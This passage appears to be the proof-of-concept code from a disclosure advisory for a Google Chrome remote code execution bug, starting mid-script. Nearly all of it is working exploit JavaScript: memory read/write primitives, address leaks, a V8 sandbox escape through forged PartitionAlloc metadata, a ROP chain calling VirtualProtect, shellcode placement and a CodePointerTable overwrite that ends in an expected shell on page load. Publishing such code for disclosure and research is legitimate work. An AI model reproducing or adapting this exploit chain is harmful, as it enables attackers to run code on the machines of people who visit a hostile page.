conv_dv.getUint32(0, true); } function u2i32(val) { conv_dv.setUint32(0, val, true); return conv_dv.getInt32(0, true); } function caged_read(ofs) { i_set0(I, ofs - 7); return i2u32(ip_read(I)); } function caged_write(ofs, val) { i_set0(I, ofs - 7); ip_write(I, u2i32(val)); } function addrOf(obj) { e_set(E, obj); return i2u32(i_get0(E)); } function fakeObj(ofs) { i_set0(ofs); return e_get(E); } const ab_addr = addrOf(ab); /*for (let i = 0; i < 0x30; i++) { console.log(i.toString(16), caged_read(ab_addr + i).toString(16)); }*/ // length overwrite caged_write(ab_addr + 0x16, 0x200000 << 5); caged_write(ab_addr + 0x1e, 0x200000 << 5); // offset overwrite (to zero!) caged_write(ab_addr + 0x26, 0); // 0x00014000 -> 0 const dv = new DataView(ab); /*for (let i = 0x80; i < 0xa0; i += 8) { console.log(i.toString(16).padStart(3, '0'), dv.getBigUint64(0x1000 + i, true).toString(16)); } for (let i = 0; i < 8; i++) { const ofs = 0x10000 + i * 0x1000; console.log(ofs.toString(16).padStart(3, '0'), dv.getBigUint64(ofs, true).toString(16)); await sleep(); }*/ const chrome_leak = dv.getBigUint64(0x1090, true); const ab_pa_leak = dv.getBigUint64(0x1080, true); // assert &0x1fffff == 0x13fc0 const ab_partition_base = ab_pa_leak & ~0x1ffffn; console.log("[+] chrome_leak:", chrome_leak.toString(16)); console.log("[+] ab_pa_leak:", ab_pa_leak.toString(16)); checkUA(chrome_leak); const chrome_base = chrome_leak - base_leak_ofs; console.log("[+] chrome_base:", chrome_base.toString(16)); console.log("[*] ab_partition_base:", ab_partition_base.toString(16)); await sleep(); // sbx escape via metadata->bucket forgery: // 1. bucket->active_slot_spans_head = metadata => arbitrary address, known value write // 2. --bucket->num_full_slot_spans // (constraints for both: bucket->num_full_slot_spans > 0) // ...and many more // use it to overwrite Sandbox size dv.setBigUint64( 0x1090, chrome_base + base_tgt_ofs + 0x28n + 0x2n, true ); // size = base << (2 * 8), covers all 64bit canonical addressing space dv.setBigUint64(0x1098, dv.getBigUint64(0x1098, true) | 1n, true); abs[absctr++].transfer(0); console.log("[+] Sandbox size overwritten"); //dv.setBigUint64(0x1088, 0n, true); await sleep(); /*for (let i = 0x60; i < 0xa0; i += 8) { console.log(i.toString(16).padStart(3, '0'), dv.getBigUint64(0x1000 + i, true).toString(16)); }*/ // shellcode: [0x14000, 0x16000) // ropchain: 0x1e000 // lpflOldProtect: 0x1eff0 // vtable: [0x1f000, 0x20000) // scratchpad for fake bucket: [0x20000, +sizeof(bucket)) // scratchpad for opt: [0x21000, ...) for (let i = 0; i < sc.length; i++) { dv.setUint8(0x14000 + i, sc[i]); } // VirtualProtect(base+0x10000, 0xf0000, PAGE_EXECUTE_READ, lpflOldProtect) function set_rop(ofs, val) { dv.setBigUint64(0x1e000 + ofs, val, true); } set_rop(0x0, chrome_base + pop_gadget); set_rop(0x8, ab_partition_base + 0x14000n); // rcx set_rop(0x10, 0x2000n); // rdx set_rop(0x18, 0x20n); // r8 = PAGE_EXECUTE_READ set_rop(0x20, ab_partition_base + 0x1eff0n); // r9 = lpflOldProtect set_rop(0x28, 0n); // r10 set_rop(0x30, chrome_base + prax_ret); set_rop(0x38, chrome_base + virtualprotect_iat_ofs); // rax = &kernel32.VirtualProtect set_rop(0x40, chrome_base + jmp_drax); // jmp qword ptr [rax] set_rop(0x48, ab_partition_base + 0x14000n); // shellcode for (let i = 0; i < 0x1000; i += 0x10) { dv.setBigUint64( 0x1f000 + i, (chrome_base + vtable_gadget) ^ fptr_xor, true ); //dv.setBigUint64(0x1f000 + i, 0xdeadbeefcafe0000n + BigInt(i / 0x10), true); } console.log("[+] shellcode / ropchain / vtable init complete"); // helper function to recursively zero out a memory region via primitive #1 (two top zero bytes), with collateral damage to [base-6, base) and [base+0x17, base+len+0x1f) // ! WARNING ! caller must assert PA_CHECK(bucket->num_full_slot_spans) for all strides (descending from len - 2 by stride 2) // use only for small len (under 0x16) as it will eventually overwrite itself function zero_out(base, len, stride = 2) { for (let ofs = len - 2; ofs >= 0; ofs -= stride) { dv.setBigUint64(0x1090, base + BigInt(ofs) - 6n, true); dv.setBigUint64(0x1098, dv.getBigUint64(0x1098, true) | 1n, true); // meta->marked_full = 1 abs[absctr++].transfer(0); } } // helper function for arbitrary addr & value write // caller must assert nullity of [target-8], [target], [target+0x10] function arb_write(target, value) { // save current freelist_head const freelist_head_orig = dv.getBigUint64(0x1080, true); dv.setBigUint64(0x1080, ab_partition_base + 0x10000n, true); // meta->freelist_head = non-null const new_bitfield = (dv.getBigUint64(0x1098, true) & ~((1n << 14n) - 1n)) | 2n; dv.setBigUint64(0x1088, target - 8n, true); // meta->next_slot_span = target - 8 dv.setBigUint64(0x1090, ab_partition_base + 0x20000n, true); // meta->bucket = bucket dv.setBigUint64(0x1098, new_bitfield, true); // meta->marked_full = 0, meta->num_allocated_slots = 1 dv.setBigUint64(0x20000, ab_partition_base + 0x1080n, true); // bucket->active_slot_spans_head = meta dv.setBigUint64(0x20000 + 0x10, value, true); // bucket->decomitted_slot_spans_head = value dv.setUint32(0x20000 + 0x1c, 1, true); // bucket->num_system_pages_per_slot_span = 1 (avoid PartitionDirectUnmap()) abs[absctr++].transfer(0); dv.setBigUint64( 0x1098, (dv.getBigUint64(0x1098, true) & ~((1n << 14n) - 1n)) | (0x300n << 1n), true ); // meta->marked_full = 0, meta->num_allocated_slots = 0x300 dv.setBigUint64(0x1080, freelist_head_orig, true); // meta->freelist_head = original } // DEBUG: pre-opt zero_out() & arb_write() console.log("[*] DEBUG: pre-opt"); dv.setBigUint64(0x21018, (1n << 64n) - 1n, true); for (let i = 0; i < 50; i++) { zero_out(ab_partition_base + 0x21000n, 2); } dv.setBigUint64(0x21000, 0n, true); dv.setBigUint64(0x21008, 0n, true); dv.setBigUint64(0x21018, 0n, true); for (let i = 0; i < 50; i++) { arb_write(ab_partition_base + 0x21008n, 0xdeadbeefcafebaben); dv.setBigUint64(0x21008, 0n, true); } await sleep(100); const trigger = sleep(1500); console.log("[*] sleeping 1000ms..."); await sleep(1000); // set ropchain addr (ab_partition_base + 0x1e000n) // all zeros, use sbx primitive #2 console.log("[*] target write prepare (ropchain addr)"); arb_write(chrome_base + vtable_rax, ab_partition_base + 0x1e000n); console.log("[*] target write success (ropchain addr)"); // set vtable pivot gadget // surrounded with pointers into chrome.dll, use #1 + #2 // ordering is super important!! console.log("[*] target write prepare (pivot gadget)"); zero_out(chrome_base + vtable_call_base, 6); // [0, 6) / [-6, 0), [0x17, 0x25) zero_out(chrome_base + vtable_call_base - 8n, 8); // [-8, 0) / [...), [0x11, 0x1f) zero_out(chrome_base + vtable_call_base + 0x10n, 8); // [0x10, 0x18) / [8, 0x10), [...) arb_write(chrome_base + vtable_call_base, chrome_base + pivot_gadget); console.log("[*] target write success (pivot gadget)"); // overwrite CodePointerTable console.log("[*] target write (CPT)"); console.log("[*] expect shell after 500ms!"); zero_out(chrome_base + base_tgt_ofs - 8n, 8 + 6, 1); // pulls down from Sandbox base, stride=1 just in case // pulls down from Sandbox size, stride=1 just in case // lower 2byte 0, upper 2byte non-zero to prevent some weird resetting logic (zeros actually come from bytes index 2~3 from SlotSpanMetadata instead of the top two 6~7) zero_out(chrome_base + base_tgt_ofs + 0x10n + 0x4n, 4, 1); arb_write( chrome_base + base_tgt_ofs, ab_partition_base + 0x1f000n - 0x10000n ); // fake CPT, i.e. "vtable" (vtable starts at 0x1f000, offset 0x103d0 -> translate to 0x1f3d0) //console.log('[*] target write success (CPT)'); // trigger through CPT call (await isn't strictly needed, it triggers itself on timeout) await trigger; // DEBUG: crash //caged_write(0xfffffff0, 0xdeadc0d3); } window.onload = exp; </script> </body> </html>
From: https://ssd-disclosure.com/ssd-advisory-google-chrome-rce/<!-- poc.html --> <script src="wasm-module-builder.js"></script> <script src="poc.js"></script>